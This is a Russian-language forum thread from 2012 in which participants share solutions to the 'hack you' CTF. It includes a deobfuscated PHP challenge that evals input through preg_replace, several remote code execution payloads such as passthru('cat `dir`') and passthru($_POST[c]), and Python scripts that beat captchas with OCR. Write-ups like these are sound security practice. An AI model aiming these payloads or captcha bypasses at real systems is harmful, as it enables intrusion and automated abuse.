Старый 18.10.2012, 18:15   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию hack you CTF [writeups]

hack you CTF

CTF от команды Leet More, проходивший c 8 по 18 октября.
Подробнее:
http://leetmore.ctf.su/wp/announcing-hackyou-ctf/
http://hackyou.ctf.su/

Финальный скорборд:



Собственно, хотелось бы увидеть логику решения некоторых задач от других участников Ниже мое решение Web 300

Web 300
Задание представляет собой "Random number generation" к которому нам даются обфусцированные исходные коды. Мы задаем seeds для генераторов и получаем случайные числа. Нам необходимо прочитать файл flag.txt.gz.

Изначально исходники выглядят так:
PHP код:
<?${b("ee3ab0f9421ce0feabb4676542993ab3")}=b("9a8890a6434cd24e876d687bcaf63b40218f525c");${b("a7d2546914126ca18ca52e3205950070")}=b("c74b0811f86043e9aba0c1d249633993");${b("116fe81df7d030c1e875745f97f9f138")}=b("6da187003b534e740a777e");${b("a3bfe0d3698e1310cce7588fbab15dbe")}=b("f19e6937d9080f346a01");${b("39ebc7035a36015274fdb7bf7c1b661e")}=b("336f2f8b0f837cf318");${b("66711d77210b4193e5539696d4337127")}=b("283101ccbc823b56");${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));if(${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"),${b("eb717d90b3287b1fbd")})){${b("532194e0380d7a29761eb0b215b4168d")}=${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];${b("f877261be92e25500a601f21ab4cfa84")}=${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];${b("dbcffbbeb2632a6e6c6f84ac52064768")}=b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");if(${b("2e272b48041e04ef643cc8624445f2a0")}!=${b("6a24556aba8e247fa9d27de3bed53586")})${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));else${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"),${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"),${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}),${b("532194e0380d7a29761eb0b215b4168d")}));}else{foreach(${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"),b("94a8be1778"))as$_)${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}().b("f975de3ba2"));}${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));function b($b){return eval(Ьз‘€©ІУТњД ¬ћу¶йІоЊ–‰…ъ н©¦ОІђЊЧЄ±§ищдј¦Ў®ЃУрїїаљТ ЪЉРѕЯБЬ•пНµюл™Д–ю¶±ќ¤іЊАетИаЩоЇЉЎ‰їё–¦хрцМјЉ‰Яє‘мШЪеаЗРЃЏС‘КЫ‰вд юЉйБФЫ’ИХГ‘ П„ЏЄьд±µСЫПЙ^®‚еэЫЬуЎи¶яЮыѓУ€ЖЖбтј*‰ХЏЪТјљґоыљќџБХђОУД‡*°•ЦУИІЎФЁжµРчеѕјВхњСЪЇнї ЖРюП›®њќЖрјЎЬОЁЌъКЪеТ‡ШТ®ђІ цЃ);}
После деобфускации:
PHP код:
<?php
 
printf
("<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>"
);
 
if (
array_key_exists("rng_seeds"$_POST))
{
    
$ref "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";
 
    if (
$_POST['rng_algorithm'] != $ref)
        
printf("wuut?! hacker detected!");
    else
        
printf(preg_replace("#\b(\d+)\b#se",pack("H*"$_POST['rng_algorithm']), $_POST['rng_seeds']));
}
else
{
    foreach (
range("1""5") as $_)
        
printf(mt_rand()."\n");
}
 
printf("</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>
 </body>
 </html>"
);
 
?>
После деобфускации понятно, что генерация чисел - это последовательное применение функций, которые мы передаем в hex представлении в каждом запросе.

Код:
ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))
Эта последовательность проверяется перед выполнением, но так как hex строка состоит только из цифр, возможно использовать баг пхп (подробнее тут https://bugs.php.net/bug.php?id=54547)

Используя этот баг мы можем изменить число так, чтобы проверка оставалась истенной, но в тоже время в hex представлении функций не должно быть букв a-f.

Дальше надо было сидеть и медитировать над функциями php, финальный результат моих размышлений примерно следущий:

Код:
 die(`cat $(dir)`)
Применяем cat к результату выполнения dir, выполняем все это в php через `` и возвращаем результат через die.

Последний раз редактировалось BlackFan; 18.10.2012 в 18:18..
BlackFan вне форума   Ответить с цитированием
Старый 18.10.2012, 18:21   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

PPC 100 и 300 были на быстрое распознавание каптчи. Первая вообще текстовая (сложить 2 числа), вторая -- распознать число, разложить на множители и выслать делитель. В обоих случаях ещё надо было отсылать токен.
Собственно, было полезно попрактиковаться, накодил ненаучное решение, заюзав в 300 тулзу tesseract-ocr и сервис factordb.com =)
Ответ выдавался в виде набора двоичных кодов ascii-символов флага.

Решение PPC100 на python 3:
Код:
from urllib.request import Request, urlopen
from re import search

wrong = 1

while( wrong ):
	resp = urlopen( Request( 'http://misteryou.ru/ppc100/' ) ).read()
	trueanswer = search( b"trueanswer' value='([^']*)", resp ).group( 1 ).decode()
	task = search( b'(\d*\s\+\s\d*)', resp ).group( 1 )
	answer = eval( task )
	query = 'captchatype=hugecaptcha&trueanswer=%s&answer=%s' % (trueanswer,answer)
	res = urlopen( Request( 'http://misteryou.ru/ppc100/', query.encode() ) ).read()
	try:
		res.index( b'ALERT' )
	except:
		wrong = 0

print( ''.join( [chr( int( x, 2 ) ) for x in search( b'is:<br> (.*)\n', res ).group( 1 ).split( b'<br> ' )] ) )

'''$ python3.2 ppc100.py
killallhumans'''
Решение PPC300 на Python 2:
Код:
from re import search
from urllib2 import urlopen, Request
from time import sleep
import subprocess
import tempfile

def ocr( image ):
	tmp = tempfile.NamedTemporaryFile()
	process = subprocess.Popen( [ 'tesseract', image, tmp.name ], stdout = subprocess.PIPE, stdin = subprocess.PIPE, stderr = subprocess.STDOUT )
	process.communicate()
	return open( tmp.name + '.txt', 'r' ).read()

def getfactor( num ):
	try:
		return search( '000000">(\d+)', urlopen( 'http://factordb.com/index.php?query=%s' % num ).read() ).group( 1 )
	except:
		sleep( 1 )
		return getfactor( num )

def tryit():
	resp = urlopen( 'http://misteryou.ru/ppc300/' ).read()
	trueanswer = search( "trueanswer' value='([^']*)", resp ).group( 1 )
	pic = 'http://misteryou.ru' + search( "src='(.*)'", resp ).group( 1 )
	tempFile = tempfile.NamedTemporaryFile()
	open( tempFile.name, 'w' ).write( urlopen( pic ).read() )
	num = search( '\d+', ocr( tempFile.name ) ).group( 0 )
	return urlopen( Request( 'http://misteryou.ru/ppc300/', 'captchatype=refactor&trueanswer=%s&answer=%s' % (trueanswer, getfactor( num )) ) ).read()

def main():
	wrong = 1
	while( wrong ):
		res = tryit()
		try:
			res.index( 'ALERT' )
		except:
			wrong = 0
	print( ''.join( [chr( int( x, 2 ) ) for x in search( 'is:<br> (.*)\n', res ).group( 1 ).split( '<br> ' )] ) )

if __name__ == "__main__":
	main()

'''$ python ppc300.py
kill_1_human
'''
Beched вне форума   Ответить с цитированием
Старый 18.10.2012, 18:43   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от Beched Посмотреть сообщение
Собственно, было полезно попрактиковаться, накодил ненаучное решение, заюзав в 300 тулзу tesseract-ocr и сервис factordb.com =)
У меня это было php+gocr+factordb
BlackFan вне форума   Ответить с цитированием
Старый 18.10.2012, 18:55   #4
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Web 300 по статистике получился самым сложным заданием:
http://hackyou.ctf.su/stats

Еще решения: (http://hackyou.ctf.su/writeups)
Andrey1800
Через функцию b, использующуюся в обфускации, и assert
Код:
$a = "12345678";
$md5 = md5($a,true);
$code = "print(`cat *`)";
$x = unpack("\x48\x2a",str_repeat($md5,10) ^ $code);
echo bin2hex("ShA1(dATe(assert(b(\"".$a.$x[1]."\"))))");
suntzu_II
Код:
passthru('cat `dir`')
ShA1(dATe($0))&(@passthru('cat `dir`')%'11111111111111111111')
awe
Код:
passthru('cat `dir`')
ShA1(dATe()) && passthru('cat `dir`')
okz
Если честно, я не понял как
http://null-life.com/writeups/hackyo...ackyou2012.pdf
Код:
÷¢Ê³Ì<0&passthru($_POST[c])&&die
BlackFan
Код:
die(`cat $(dir)`)

Последний раз редактировалось BlackFan; 18.10.2012 в 19:43..
BlackFan вне форума   Ответить с цитированием
Старый 18.10.2012, 22:47   #5
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Еще один вариант web 300
PHP код:
<?php
function b($b)
{
    
print_r(unpack("\x48\x2a"md5("c74b0811"true) ^ $b));
}

b("cat flag.txt.gz");
?>
&&passthru(b("c74b0811eb7352ae92bec5c50b76228259e9 ec"))
M_script вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot